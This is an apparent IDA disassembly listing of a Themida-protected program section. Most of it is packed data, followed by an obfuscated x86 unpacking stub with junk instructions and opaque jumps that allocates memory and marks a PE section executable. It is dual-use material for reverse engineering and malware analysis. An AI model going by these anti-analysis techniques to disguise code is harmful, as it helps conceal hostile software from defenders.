0A4B13253h, 0D5B138D2h dd 0EAB4DB56h, 67CC3256h, 3149C880h, 59373D51h, 0CEB13256h dd 0A8D05336h, 0BF583E23h, 0F3B13256h, 0FC3DAC6Fh, 0D7B86500h dd 5657B7C5h, 7FFBC43h, 5B2FA19Bh, 58B947A9h, 0ABB133DFh dd 0DAE1CE56h, 0EAB13ADAh, 77353D56h, 0DAB13256h, 54C4DA37h dd 2FBE3256h, 57B1324Ah, 0D7D18936h, 0DA595874h, 0EB13256h dd 703A74EAh, 7AB8F72Bh, 571553F9h, 0CFEEB6ACh, 0D2BEF25Dh dd 0ABB13269h, 3CB6B9AAh, 0EAB1325Ah, 0E0609071h, 0A1CE2A74h dd 0C44419C7h, 0AEB160BFh, 57A5DB56h, 940B3256h, 1ECC6902h dd 555C0865h, 6AFACA29h, 3595A79Dh, 0DCD1E867h, 694184B5h dd 490D8955h, 28D06E4Dh, 0DA582691h, 0F1B13256h, 0C1963BD4h dd 87896678h, 0DEAAB377h, 0B558CD93h, 0BE4ECDA9h, 0ABB1325Dh dd 560E1385h, 7EBB545Fh, 0FCDA4009h, 53D1CE13h, 5DB13247h dd 4E3C0A12h, 193612A9h, 0DD328447h, 65CB4500h, 0EAA2DB26h dd 0A6873256h, 9305DAA7h, 0B04EF170h, 8B5FF324h, 0DB792728h dd 0DE4E534Eh, 0D2373D5Ah, 0E5B13256h, 75B133DDh, 0CF4ECB56h dd 0D6D7525Eh, 0AEB9DA8Eh, 0FE1D3256h, 49ED3F69h, 0DB584C59h dd 0F9B13256h, 16852962h, 154E47B6h, 5B65E820h, 51D06862h dd 57BCDB61h, 0B8153256h, 53BB1AA7h, 0C0E50216h, 9DFFB0A8h dd 0BAB13A0Dh, 5DADBD59h, 2BBE3256h, 57B13240h, 0ABB123BFh dd 7E1D8756h, 5B9ED502h, 0F82D677Dh, 0C5C937CAh, 9DBAA1EDh dd 0AE98B659h, 0BED13256h, 0ABB13253h, 98D8D75Fh, 13062B9h dd 382487CEh, 0D8585309h, 0B4B13255h, 0AEB1325Dh, 0E3991958h dd 0CCADDABFh, 5E9CBBE0h, 0D344CE13h, 33333D51h, 43B13255h dd 0B44D77A9h, 0AEB1325Bh, 0C3D978ACh, 85E63733h, 0FB5E4A43h dd 0EAA3DB8Bh, 61083256h, 809F501Ch, 8A65A30Ch, 3AE44163h dd 38893486h, 0ABB54DD5h, 0D5F2B659h, 6BD13256h, 5EC1808Eh dd 0B3585212h, 48B13256h, 99DD4010h, 60E7040Dh, 28D053AFh dd 0DAB13E29h, 0EAB112D2h, 0F3BE5256h, 0BAB13253h, 0AE77B330h dd 47D0CBF9h, 57B13207h, 0ABB6B459h, 58BE3256h, 0EAB13257h dd 8A4E8AAFh, 348CDA9h, 5DB13253h, 0AEB123BFh, 17AA4256h dd 0A19B9AE9h, 80424DD6h, 0ADC53442h, 0DE42465Bh, 0BAB8DBA3h dd 0DDF53256h, 0AF9D1EBFh, 0BE052D78h, 544ECCC8h, 23678836h dd 1930108Eh, 45367AA9h, 0AACEB137h, 0DB353D53h, 47B13256h dd 57B1325Eh, 661DE563h, 93766B93h, 0ECA14DD5h, 7526B759h dd 32BE3256h, 5DB13240h, 0AEB123BFh, 7251C156h, 419D826h dd 9400976Fh, 0FCD270B4h, 7AF08BC5h, 0BAB135D8h, 5C363D56h dd 52B13256h, 37B575DDh, 2B4F8D59h, 5ED07D85h, 0EC583E09h dd 0E4B13256h, 0B6F84CA7h, 5C71DBCFh, 0BA583256h, 61B13256h dd 0CD8ECE24h, 0CE9EC3C6h, 108FEA37h, 9BA397C6h, 0B547DDA6h dd 5DB13ADDh, 0AC303D56h, 37B13256h, 0AFF6B937h, 0B56EB936h dd 8C418D59h, 14D0F4DDh, 0B5BD6DDDh, 5DB13BDCh, 2FD75256h dd 37FA9B89h, 42445337h, 0D5B1330Eh, 0EEF6B9AAh, 75B13DBFh dd 65A1AF56h, 0BF2EA7FAh, 4054CE16h, 0A3D998D7h, 0A4BD6DDDh dd 0D5B135D1h, 0EB3A3D56h, 89B13256h, 0B5B96D6Dh, 5DB1F9D3h dd 52E3CE56h, 6C53B336h, 12A4DE63h, 0C4EB7E29h, 0EEE6B937h dd 65E419AFh, 0BABADBAFh, 3AC83256h, 308F265Bh, 32BF2A7Dh dd 0BFE431B1h, 8A3ACEAFh, 0ED3A3D5Ah, 7AB13256h, 0BAB133D5h dd 879ACA56h, 0AEB13DBFh, 8DA8BB56h, 0C63A5C3Bh, 1CA564C3h dd 0D7A1794Dh, 15B4D9D5h, 0BAB123BFh, 91ABAE56h, 0A1167123h dd 5B34A33Bh, 364F4DC3h, 54D7FBEAh, 8B239DA4h, 7B58520Ch dd 0F7B13256h, 0A53A6F9h, 30471FA3h, 0D45153C5h, 0ABA2DBAEh dd 22503256h, 8BC766BAh, 4CB7313Bh, 2A415B68h, 0B758A4CDh dd 0C85853B1h, 0BEB13256h, 0ABB13250h, 22B6EF86h, 64BE8694h dd 75B13242h, 0BABFB059h, 54583256h, 0DBB13256h, 0B13FA2Dh dd 0C2B7819Fh, 20B575DDh, 13BD6DDDh, 15B56D7Dh, 503054AFh dd 0DED00E79h, 0BD5837BDh, 0A7B13256h, 141E4C09h, 2BEACD57h dd 42C50317h, 0EBF34DDFh, 30B20C51h, 5B9911EFh, 0AB353D36h dd 0E8B13256h, 0B21E0642h, 0C5CEB137h, 0FB343D55h, 7AB13256h dd 0BAB133DFh, 3DF0CB56h, 0F7D88701h, 367DDDD6h, 27BEEB7Dh dd 0D5B13244h, 0EAB13FBFh, 24213456h, 0FC7198FFh, 0CD9160E1h dd 0F238887Dh, 31D13357h, 306ED4D7h, 0B4628D59h, 0EAB126BFh dd 0ACAE1B56h, 0DA1CCF7Dh, 0ACA6545Ah, 42455652h, 0BFB4BE15h dd 544E8ADEh, 55D1CDA9h, 6ABEE6B0h, 75B13257h, 0BF0853AFh dd 52B13256h, 0AEB135D4h, 563A3D56h, 57B13256h, 55BE99A5h dd 0EAB13251h, 75B0BF59h, 53443256h, 0A24ECE5Ch, 0CE4853AAh dd 57B4B059h, 0AC0B3256h, 2C9AF03Dh, 6ABEFB37h, 75B1325Ah dd 0BAB135BFh, 69BB3456h, 563E47A6h, 37B12294h, 42EBEDD6h dd 0D5B13247h, 76CA2B4Eh, 8304ECEDh, 0C99B5120h, 0F4D39516h dd 0A1E45393h, 57B123D9h, 1CBE5256h, 0D5B6DB9Ch, 0B1633256h dd 29E79F15h, 563A53EBh, 3C2B8236h, 474DF6D5h, 57B13242h dd 0D3113A85h, 0EADD0886h, 5326E540h, 7E74F578h, 707A5CFBh dd 54383D36h, 0CEB13256h, 58095336h, 0CA90DDEAh, 0D5B13FBFh dd 92736156h, 90DFED94h, 6D9CCE9Eh, 5D594102h, 0F4B13256h dd 0EE7BD8D7h, 57443478h, 0AC4388DDh, 8CD13478h, 8308E3DDh dd 0DBCEA917h, 0D3BEFB65h dd 0AEB1325Ah, 57B7BD59h, 24BE3256h, 0D5B13256h, 0E5B10DD5h dd 75B2A4D2h, 0DC495256h, 3C1500EDh, 0A45835DDh, 0E9B13256h dd 0CF89370Ah, 7EB3198Eh, 0E6C4CD04h, 7DC4CDA3h, 5F7FB236h dd 9B47E0D7h, 0FED0617Ah, 57A1DA36h, 832E3256h, 0A4F836Eh dd 0D55940DCh, 2D85A0E4h, 5E31A03Eh, 0E6D76C7Eh, 57D0245Ch dd 57B2BCBEh, 29BE5256h, 0D5B13245h, 0EAB13CBFh, 1E619D56h dd 0B8CE7B35h, 0E4B2DCE1h, 0FE79BA14h, 36EE6C06h, 2EBEF25Dh dd 0D5B13272h, 0E5B6B9AFh, 75B133D1h, 0EB58CA56h, 0B4B13256h dd 0AEB13246h, 0E97BD02Fh, 4D1D489Dh, 8EB202B3h, 9C631D24h dd 15A5F5D5h, 534FB930h, 5DB13242h, 91BD957Ch, 0DFF91820h dd 2E7D278h, 0B2452FE7h, 0A0EA4908h, 8A87DB37h, 5344CDA9h dd 5DB13246h, 32F85C6Dh, 0E3170077h, 0DE96009h, 0BB625764h dd 8A4D77DFh, 79C4CD37h, 0CF58936h, 3C4400C2h, 0A1B947A9h dd 57B133D4h, 42D1CA56h, 0D5B13250h, 7695B6D9h, 9F029BA4h dd 0DA86CD37h, 5DB2BE59h, 19BE3256h, 0E074B294h, 0A978DA37h dd 0DE443256h, 0F1353D96h, 9CB13256h, 0BAB1325Dh, 0EA9DA819h dd 5CC493Eh, 0BE0E9751h, 0ABB13035h, 5FE28336h, 0AF3A5385h dd 75A2DBAAh, 5E003256h, 0E31BF5EBh, 6CD6CA7Dh, 57CF2412h dd 655EAA46h, 0DAB60BCEh, 0EAB308D4h, 7C3E3D56h, 0DAB13256h dd 0DCD7C8DDh, 0CF6F7CB8h, 584D77A9h, 0ABB13CDCh, 0D5B8DB56h dd 0C02C3256h, 7DB5577Bh, 0DA8D48EDh, 8F182FECh, 0F60F5441h dd 2832530Bh, 2FBE3252h, 0D5B1324Eh, 0E6CEB1AEh, 78353D56h dd 4FB13256h, 5DB16CBFh, 0AF373D56h, 0ABB13256h, 544ECDEEh dd 0DE323DA9h, 3B13256h, 75B13250h, 9A20BCF8h, 5808260Fh dd 47B13256h, 57B1325Dh, 0CF521018h, 4C244CF3h, 1980631Eh dd 78353DFDh, 53B13256h, 5DB1325Eh, 0C43F8BE1h, 2B21C981h dd 544FDABFh, 0D5BCDBA9h, 3E703256h, 0DF47651h, 0ED463069h dd 0DEF11766h, 0A1B42229h, 57B141D2h, 0A3313D56h, 0DAB13256h dd 0EAB130D7h, 0F6D05256h, 0B5B72229h, 5DB149D3h, 0AEB8DB56h dd 74863256h, 0C0A6A24Ah, 942FF4FEh, 0EEF6B9AAh, 9A47B236h dd 31D06B06h, 52583E09h, 0F2B13256h, 1448E937h, 0CCBCD2DDh dd 0B187BB97h, 5158CB58h, 15B13256h, 0BAB138BEh, 0CC85A56h dd 4E39D806h, 0BF284B36h, 0ABB1325Ch, 1B22CF3Fh, 5D4815E2h dd 2DEECF59h, 4FD0C5DDh, 0A8B575DDh, 0CEBD6DDDh, 31718559h dd 0CA98E8E8h, 0D5B146BFh, 0E60B5256h, 25B35230h, 0DBEB5336h dd 0B4B575DDh, 0AEB13246h, 90CC0D8Fh, 0A9AD27BCh, 0D6BE0F30h dd 0C771A53Eh, 89BD6DDDh, 46B56D7Dh, 3DB4D9D5h, 47D110E1h dd 57B13244h, 9530C8DFh, 55961737h, 0A99FCFE4h, 5D5F2800h dd 0DBD1DD37h, 22325337h, 2BBE3146h, 57B1324Bh, 7A5BB336h dd 55FFB893h, 0ABD05489h, 75BAB259h, 0BC583256h, 4CB13256h dd 1F8E4FF1h, 0BE68198Dh, 0ABB13250h, 0BF7DD3B3h, 0B638C2CBh dd 0F0BE3357h, 0BAB13258h, 347FB336h, 2FFC1D2Ah, 54419A87h dd 13485352h, 2A4ECDA9h, 1A3A5436h, 14768D59h, 0BAB4DA36h dd 29133256h, 56D43795h, 52343D0Fh, 13B13256h, 8286EB7Eh dd 0EAB48B37h, 7B583256h, 8BB13256h, 0EAD3AFEAh, 0E3030298h dd 84D3931Ch, 5E1AC12Bh, 2A4C56BFh, 0F23D3DA9h, 15B13256h dd 0BAB1BC59h, 56583256h, 97B13256h, 0C7415B68h, 4158A4CDh dd 0B4D067B1h, 0EAB122BFh, 0DE801C56h, 0B8851CDh, 65B2EDDBh dd 0F0892D94h, 37D1FB10h, 0A4678559h, 0D5B132DFh, 0E0585356h dd 0F9B13256h, 0F2E926C1h, 74EB90F0h, 0A67353CAh, 5B3C3D56h dd 0A4B13256h, 0D5B134D1h, 0EA343D56h, 20B13256h, 0BD343DAEh dd 3DB13256h, 68316806h, 0BB3A53F0h, 0ABA3BE59h, 5EBE3256h dd 0EAB1325Ah, 75B135BFh, 0C4AB3456h, 0EB92C36Ah, 0A14DF6D5h dd 57B139D9h, 20BE5256h, 0D5B13256h, 8B478D59h, 303ACA36h dd 46D1CA5Eh, 3756B330h, 0EB8A5329h, 1C333D5Ah, 0CBB13256h dd 0D5B139BFh, 66169856h, 3D73319Fh, 71BAC906h, 3C788D59h dd 0A1A1776Dh, 57B11FD1h, 0AA333D56h, 29B13256h, 0EA4D7791h dd 15B13256h, 0DB4DD1E0h, 5DB13DBFh, 8DC78456h, 20864A5Bh dd 96144F73h, 0B58DCDDAh, 0EAB173BFh, 3076CE56h, 0BAB133AAh dd 5DBCDB56h, 0F0EC3256h, 0F1335447h, 476D7FD2h, 3C96329Dh dd 0EAB13274h, 75B139BFh, 5C331456h, 37613AB5h, 2324786Fh dd 0E7D48B36h, 2AD162EFh, 234A1B98h, 323A5445h, 15D05337h dd 8798D59h, 183A5362h, 0BD3C3DAAh, 0BEB13256h, 0ABB13258h dd 7E0796Ch, 5748FFEEh, 22BE031Ch, 4F78C1AEh, 0B4B13E94h dd 0AEB13247h, 0D509A360h, 21C42FEEh, 0CCFB27C6h, 619C7A33h dd 0FE4467CCh, 0BB3F3DBAh, 0A1B13256h, 564DF6D5h, 4C343D36h dd 0CBB13256h, 0D5B13CBFh, 0BAA2E756h, 3FFF4CCAh, 1A36D032h dd 52203E97h, 0AEB132D6h, 57595356h, 0F1B13256h, 6A83D8D7h dd 8CD13478h, 9C2837ECh, 0BAB13258h, 1730BC48h, 9B26B19Bh dd 0B18E4E65h, 52D08E90h, 0D5B13FBFh, 23AF7856h, 7A47A6Bh dd 55F2CF4Fh, 5358BA55h, 25B13256h, 36C468B0h, 90A2D464h dd 1A657BC0h, 0E5780150h, 75B133DEh, 6182CB56h, 5DB8BE59h dd 0A1D13256h, 57B132D1h, 22D0CB56h, 5E48CE0Bh, 0C4C8C0ECh dd 0F644C750h, 3EBE3269h, 5DB13031h, 0AEB13ABFh, 0C8CE4E56h dd 5723387Ah, 0EA32CE89h, 0AB343DA9h, 7AB13256h, 0BAB121D6h dd 5DBFDB56h, 3F363256h, 0D04DA829h, 2BB3CCFCh, 0AAB3C591h dd 0EAB138BFh, 86D86156h, 5D3542C9h, 0DE7BC549h, 56492691h dd 0A84E9CBFh, 26BEC7A9h, 0D5B1325Eh, 0EAB3B259h, 14D13256h dd 0BAB54DD5h, 5DF0B659h, 2D493256h, 58B13E29h, 0ABB104D2h dd 0C63F3D56h, 3B13256h, 75B13258h, 8466050Eh, 0A3021329h dd 0F938823Fh, 5586694h, 5EB13256h, 0D5A0B059h, 0E6583256h dd 0D0B13256h, 114B4959h, 0E795C8FCh, 513442D0h, 31D1CE13h dd 4030FCDDh, 0D86AF58Eh, 0FE76B137h, 75B13BBFh, 0C6F83C56h dd 5DAA023Bh, 9E586381h, 0BE4ECDA9h, 0ABB13247h, 0A6F58722h dd 1441F6Ch, 0D0F95F32h, 15A9400Ch, 4DCEB13Fh, 28353D53h dd 0BEB13256h, 0ABB13246h, 19A97BD4h, 8D3B7025h, 80578ED2h dd 0FEBB84A0h, 5BA14DD5h, 0AEC4B759h, 37493256h, 176BB330h dd 40E3D71h, 6EBE7337h, 75B13257h, 0BEF6B9AAh, 5DBCB259h dd 14D13256h, 4D1E92E4h, 0ABB1B159h, 0B5D03256h, 8A788559h dd 18FFD1D7h, 32BE2FC0h, 5DB13256h, 0F13A5337h, 0A530525Ah dd 0C2DCC7EDh, 3CD0C1E0h, 0EAB13283h, 75B126BFh, 0B2727B56h dd 0EBE59E66h, 1EDCCEDEh, 70BEB39Bh, 0EACEACFCh, 0D1F6B9F6h dd 0E6EEB9AEh, 753EDBAAh, 31483256h, 4F583611h, 2DB13256h dd 997E3E01h, 4F02D56Eh, 0C0B9BC31h, 4C0112E4h, 79EEB94Ch dd 7E316436h, 0E7D76DB2h, 85D001E5h, 0BED13609h, 0ABB13258h dd 0DD8BD6FEh, 0BBADC057h, 16D0664Bh, 0B6583569h, 94B13256h dd 26A9CD2h, 5529FF07h, 0CA96DA5Ch, 0DAB4D9D5h, 0EAB135D3h dd 74323D56h, 4FB13256h, 5EA14DD5h, 0AE92B759h, 52583256h dd 7AB13256h, 8AC613CDh, 0F83C3D17h, 15B13256h, 0B3589FE4h dd 7EB13256h, 4AA16EADh, 854335B4h, 0A4681937h, 0D5B12ADFh dd 51D75256h, 7959F0F6h, 84B13256h, 7D0EBA69h, 0F82E5B11h dd 0E0BE608h, 0AAEDBB37h, 0D2393D57h, 0E5B13256h, 75B133DAh dd 4509C756h, 0B44ECDA9h dd 0AEB13242h, 0A0226661h, 0FB1B6B88h, 31888E3Bh, 0AA0813D3h dd 8870617Bh, 0BAB137EFh, 0F642CE56h, 5320DBAEh, 364DCDA9h dd 0ABB0B959h, 5E4D3256h, 234DCE13h, 75B13BBFh, 701CF56h dd 40C79A6Dh, 0A1723485h, 57B13FD4h, 24BE5256h, 0D5B13256h dd 237AB330h, 7AE153F4h, 0BAB133D6h, 0B4D1CE56h, 0AEB13259h dd 0AC738E56h, 466EA5CBh, 0BD54FC04h, 2E097CFh, 75B13251h dd 3A363079h, 52218384h, 0AEB132D8h, 6D06B56h, 29BE61AAh dd 0D5B13257h, 0EAB1DAAAh, 0F4EB3256h, 94734FBCh, 5DBADB50h dd 3A2C3256h, 7548FA0Eh, 7EE945C2h, 4F3CC76Ah, 0EC9F48DAh dd 75B0B459h, 2493256h, 5DB13232h, 0AB72DAAFh, 58D13256h dd 0ABB130D6h, 3CA58656h, 0EAB13242h, 2659D4EFh, 8DA86E44h dd 2DE02B88h, 6ED4130h, 4631EED7h, 0A3585237h, 11B13256h dd 0B62DBC05h, 15FA4CB5h, 0BAB1B559h, 3C493256h, 5BBAB937h dd 4458F36Dh, 3B13256h, 50972155h, 2FEE6F8Dh, 2FF00B05h dd 34E5F640h, 0F158FE09h, 0CEB13256h, 57383D04h, 0F4B13256h dd 12063D05h, 0A1B2530Ch, 0AA305252h, 946B5CDEh, 66D04AE1h dd 48333D97h, 0BEB13256h, 0ABB13250h, 9B0FE5E1h, 0A1B229DCh dd 75A0DB46h, 0CCC3256h, 0E26D7451h, 93E902h, 473C5A7Fh dd 9024A4B9h, 0CA333D97h, 3B13256h, 75B13253h, 0E5947B2Fh dd 5D89DBCBh, 0A5583256h, 84B13256h, 2DA901C7h, 32EE5DB0h dd 53585CA6h, 15B13256h, 0BAB13CBEh, 0C59B5456h, 4C95107Fh dd 5B033B91h, 5E81B18Eh, 57BE520Eh, 0EAB13256h, 0B3AE8C30h dd 2B585337h, 0B4B13256h, 0AEB1325Ch, 0C0D0F26Dh, 0EEDD1AC5h dd 584D74C6h, 0C589CACCh, 613B3D50h, 53B13256h, 5DB13259h dd 655078DBh, 2F4A0D31h, 148760B3h, 2A7B5058h, 0EAA5DB85h dd 0B9763256h, 8C484646h, 942789C2h, 8ED433F3h, 6D3557FBh dd 0EA586DFEh, 0DAB13256h, 0EAB12AD8h, 67373D56h, 53B13256h dd 5DB1325Bh, 0AF77C760h, 0F5FA8F56h, 0BA76081Bh, 0CB2BBF5Bh dd 3B71D6Ah, 75B1325Eh, 0D43A43C0h, 2B55A68Fh, 29BEE1A9h dd 57B1325Eh, 0ABB3BE59h, 0B4D13256h, 0EB363D0Dh, 8DB13256h dd 0A403520Fh, 2510F3D7h, 0F6D06374h, 57B139BFh, 0FBFF5656h dd 75AD2117h, 0D7B9145Ah, 75BDDB95h, 946D3256h, 0B50D34DAh dd 45B80C8Fh, 0BEE495AEh, 0ABB1325Ah, 25CB8528h, 6E30F24Dh dd 0BEA6C270h, 34BEDEDDh, 5DB1324Dh, 3178B336h, 0BEA7E813h dd 0ABB13258h, 511ACEC8h, 35BCDA66h, 782CDBD5h, 42D0A614h dd 5DB132BEh, 44306856h, 519FF6FEh, 0ABA1DA36h, 0D71E3256h dd 646FE051h, 0BE9E9317h, 0FD0DCD3h, 2E72D79h, 543A5408h dd 0E90F5237h, 0CAE617D3h, 5BBE52AAh, 0EAB13243h, 75B122BFh dd 0D59B7556h, 19E1B905h, 0A2423AFAh, 9E3A185Dh, 270BBFD6h dd 0B5B71C2Ch, 9B8D30h, 7DF4B937h, 753A5436h, 0A1B6BB37h dd 0A1BD77DDh, 57B133D7h, 2EBECE56h, 0D5B13257h, 0EEF6BBAAh dd 75ACB959h, 3EBE3256h, 5DB13241h, 0AEB120BFh, 2BE43956h dd 85FCDCAFh, 0FF9145h, 0C769B404h, 0FE2E6FCDh, 31D12213h dd 706DB2A6h, 0A2F6BB37h, 0BE67B936h, 0ABB1325Dh, 0C28C8C32h dd 0A03E778h, 14F20ABCh, 53A577DDh, 5DB1325Ch, 0A9859D3Bh dd 0A87789B2h, 0EC38A3E0h, 0D5BBDB46h, 0AE723256h, 0D24FFB27h dd 0AE7E00D6h, 9F305436h, 2BBE704Ch, 57B13252h, 1F808C30h dd 0C6585337h, 1EB13256h, 7BC94C68h, 0C8FD01D3h, 34A31C9Ch dd 416F27EAh, 3778CC22h, 0ABB123BFh, 72665456h, 51BD3105h dd 0AEDCFB38h, 0F9791033h, 0BE31489Eh, 26BE539Ah, 57B1324Ch dd 65063D36h, 0D5B13DBEh, 0D5B14156h, 5564960Ch, 427699EBh dd 3B6CDB95h, 0BE73530Fh, 0D6D75256h, 2B28A296h, 0B5D0BFA2h dd 0EAB138BFh, 0C7F76756h, 9A520CA5h, 9BE520EDh, 86BC17D3h dd 3F447550h, 3A6414Ch, 0D5BCBE59h, 0E2583256h, 9CB13256h dd 1E0921ABh, 528B0F65h, 0AEB121D8h, 5A313D56h, 42B13256h dd 0D5B1325Eh, 7A272C9h, 0ADB50768h, 0AEBC87A9h, 0DDD1347Eh dd 23D0EBBFh, 7CDE6AD3h, 0AA323D50h, 2CB13256h, 0EABBBB59h dd 70583256h, 0FFB13256h, 0CD16BC9Ah, 52D1E2A9h, 5D0EBDCh dd 0ABB5B159h, 85D13256h, 603C530Eh, 739F4E4Fh, 0BAB0BA59h dd 0C443256h, 0CE61CDA3h, 163B330h, 8D0F547Ah, 0B5EB53B3h dd 0CD63B330h, 4571B2F6h, 0B6343D37h, 52B13256h, 0AEB134D1h dd 573B3D56h, 26B13256h, 0FBCD2BD4h, 8CE25250h, 2B62C9ECh dd 0B5D0D3DCh, 0A5BD72E1h, 0BE58EADDh, 99B13256h, 0C5C3BA2Ah dd 0F0625834h, 0BF6705D7h, 2778BACFh, 0B0343DAEh, 3DB13256h dd 5E30ECDDh, 57F86071h, 0CB803D37h, 0D5B138BFh, 0FDDFA56h dd 0B0615B08h, 31CE6978h, 744538Fh, 0AEB13BBFh, 0E74B6C56h dd 4C4403A6h, 16B2BA30h, 0EAB6BA59h, 0F4BE3256h, 0BAB13257h dd 5DA0DBAEh, 0D7433256h, 0C57F3BCDh, 4020696Eh, 0FB1537F6h dd 6383E952h, 5DBD77D4h, 43D0C750h, 5DBBB259h, 0AB583256h dd 47B13256h, 0FD71283Eh, 0CD3F3D95h, 3B13256h, 75B13245h dd 0D90226E6h, 5E7591C7h, 0E910DB59h, 612BCB46h, 0CB4099A1h dd 0B340B930h, 61AA3FE9h, 0F890F51h, 0E9000000h, 0Ah, 10015A6h dd 4AD1F1BAh, 60528B3Dh, 0E861EE8Ah, 0 dd 9BEA815Ah, 0F062EC7h, 189h, 0F60F800h, 0DE8DAB7h, 7000000h dd 0ACE6C558h, 0F06F71B2h, 6B92F366h, 615A5953h, 18C0F52h dd 0FC000000h, 0C45828Bh, 0FE90628h, 33000000h, 7C64CCFBh dd 0C7BE2E7Eh, 60DCE1D5h, 6DB922A5h, 0F41C64Eh, 0A83h dd 5E900h, 67890000h, 0F715C4DDh, 0BF0F60E1h, 0CE9CBh dd 7DB0000h, 0CDC0F715h, 0BDFDBB11h, 5A614DA6h, 561F560h dd 3039h, 61595760h, 0FFFFFF25h, 0EE97Fh, 48B40000h, 0E3DBC3E2h dd 70A39D2Fh, 62D9B458h, 0C458289h, 0F5F80628h, 0E8F0F5Ah dd 0E9000000h, 9, 0E4B11E02h, 0BEAAC7BDh, 8E92Bh, 68C90000h dd 65C12B2Dh, 0F5967E0h, 689h, 0C88A6000h, 0C361F1B7h dd 0F5FC51FCh, 0E890F52h, 0E9000000h, 9, 453BF84Fh, 20D75935h dd 0E82Fh, 815A0000h, 2EC88DEAh, 810F6006h, 2, 0E961C28Bh dd 0Bh, 5CCF0A63h, 5D6A7A4h, 8BCC01DAh, 0D860FC8h, 0E9000000h dd 8, 34164AF0h, 2285473Ch, 0FFFEB3E8h, 0FE9FFh, 128C0000h dd 545CB6Fh, 0C1F56377h, 2E02948Fh, 13E91Ah, 841F0000h dd 87A39A34h, 0D4C2D7DBh, 0A34AB7CEh, 6C209B7h, 60D2339Ah dd 615E5260h, 7E8h, 0D7180A00h, 5E34A819h, 615E6160h, 6660F1F7h dd 0E9F57AB9h, 0Ah, 0B48E1B06h, 0F9129E67h, 8B6108B4h dd 8810FC2h, 0F000000h, 285h, 5A616000h, 0A840Fh, 5E90000h dd 0B1000000h, 0B9EA63B6h, 0AE9F859h, 0B2000000h, 9A837A10h dd 0DA116A78h, 14E9C3F5h, 0EC000000h, 44034B1Ch, 7060E131h dd 0A288CCDFh, 7C0F509Ch, 8BACD17Bh, 17860FC0h, 0E9000000h dd 12h, 0E30CCB58h, 65E78AEh, 1CB0162Eh, 1D7D8DAFh, 0C08BF0E8h dd 18D0Fh, 0F5F90000h, 8FCC858Dh, 12E9062Eh, 3F000000h dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 319026A4h, 0FD0FF95h dd 185h, 8B66F800h, 1850FC1h, 0FC000000h, 0C77B858Dh, 0E960062Eh dd 11h, 0E905EF95h, 6B60E27Fh, 9059D4D3h, 37452D8Ah, 8589613Ah dd 6280045h, 1E880Fh, 800F0000h, 18h, 13E9h, 0FBB2DE00h dd 63D86C2Dh, 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 0C870858Dh dd 89F9062Eh, 282E8985h, 0CE906h, 62F20000h, 99C23A06h dd 0B5C6E15Fh, 0B8F8E36Eh, 0 ; --------------------------------------------------------------------------- jmp loc_5B5D8B ; --------------------------------------------------------------------------- db 23h, 1Eh, 0A0h dd 8EF141BEh, 84C89D32h ; --------------------------------------------------------------------------- jmp esp ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- loc_5B5D8B: ; CODE XREF: Themida_:005B5D78j or eax, eax jz loc_5B5E96 cld mov byte ptr [ebp+6280D25h], 56h cmc push 0A9C530DFh ja loc_5B5DB8 jmp loc_5B5DB8 ; --------------------------------------------------------------------------- adc al, 48h inc edx rcr esi, 0E3h sbb byte ptr [esi], 27h xor edx, esi pop ecx loc_5B5DB8: ; CODE XREF: Themida_:005B5DA1j ; Themida_:005B5DA7j push dword ptr [ebp+628140Dh] stc lea eax, [ebp+62B6F58h] jmp loc_5B5DD5 ; --------------------------------------------------------------------------- dw 662Fh dd 359522C0h, 4D8916A9h db 8Fh ; --------------------------------------------------------------------------- loc_5B5DD5: ; CODE XREF: Themida_:005B5DC5j call eax pusha mov cx, si mov ax, 32Ch popa jb loc_5B5DF1 jmp loc_5B5DF1 ; --------------------------------------------------------------------------- pop es jmp short loc_5B5DFC ; --------------------------------------------------------------------------- dw 0A696h db 0D0h ; --------------------------------------------------------------------------- loc_5B5DF1: ; CODE XREF: Themida_:005B5DE0j ; Themida_:005B5DE6j push eax pusha jnz loc_5B5DFC adc bl, 80h loc_5B5DFC: ; CODE XREF: Themida_:005B5DECj ; Themida_:005B5DF3j sub esi, 61646732h popa lea ecx, [ebp+62821D1h] jg loc_5B5E17 jz loc_5B5E17 pusha popa loc_5B5E17: ; CODE XREF: Themida_:005B5E09j ; Themida_:005B5E0Fj push ecx jmp loc_5B5E27 ; --------------------------------------------------------------------------- db 0A3h, 0D8h, 20h dd 0EB73A366h db 8Ah, 0B6h, 36h ; --------------------------------------------------------------------------- loc_5B5E27: ; CODE XREF: Themida_:005B5E18j push 4 cld push 1000h jmp loc_5B5E39 ; --------------------------------------------------------------------------- dd 0D32FF96Fh db 18h ; --------------------------------------------------------------------------- loc_5B5E39: ; CODE XREF: Themida_:005B5E2Fj jo loc_5B5E40 clc loc_5B5E40: ; CODE XREF: Themida_:loc_5B5E39j push dword ptr [ebp+6282BDDh] clc call eax clc mov edi, [ebp+6282BDDh] jmp loc_5B5E64 ; --------------------------------------------------------------------------- imul esi, [eax+eax*4-47h], 84370F11h or al, 0CAh mov eax, 0E30BF395h loc_5B5E64: ; CODE XREF: Themida_:005B5E50j add edi, [edi+3Ch] jmp loc_5B5E76 ; --------------------------------------------------------------------------- dd 0DBC60F3Ah, 6BBD6084h ; --------------------------------------------------------------------------- pop esi push edi loc_5B5E76: ; CODE XREF: Themida_:005B5E67j add edi, 0F8h jno loc_5B5E88 pusha mov al, 0Fh mov edx, eax popa loc_5B5E88: ; CODE XREF: Themida_:005B5E7Cj mov dword ptr [edi+24h], 60000020h pusha or ah, 84h mov eax, ecx popa loc_5B5E96: ; CODE XREF: Themida_:005B5D8Dj lea ebx, [ebp+6280391h] jno loc_5B5EAB pusha clc jb $+6 popa loc_5B5EAB: ; CODE XREF: Themida_:005B5E9Cj mov eax, [ebx] jmp loc_5B5EBF ; --------------------------------------------------------------------------- dw 55E8h dd 33E0F1BBh, 0F95A12B9h db 2Ch, 9Ch, 0BAh ; --------------------------------------------------------------------------- loc_5B5EBF: ; CODE XREF: Themida_:005B5EADj clc or eax, eax jz loc_5B5F03 jmp loc_5B5EDF ; --------------------------------------------------------------------------- db 45h, 17h, 0C6h dd 0D99B2993h, 0ED8C8BBFh, 3E4A2831h db 74h, 3Fh, 2Eh ; --------------------------------------------------------------------------- loc_5B5EDF: ; CODE XREF: Themida_:005B5EC8j pusha mov dl, 0C3h popa mov eax, [eax] pusha mov ax, cx popa mov [ebx+4], eax jns loc_5B5F03 jns loc_5B5F03 jmp loc_5B5F03 ; 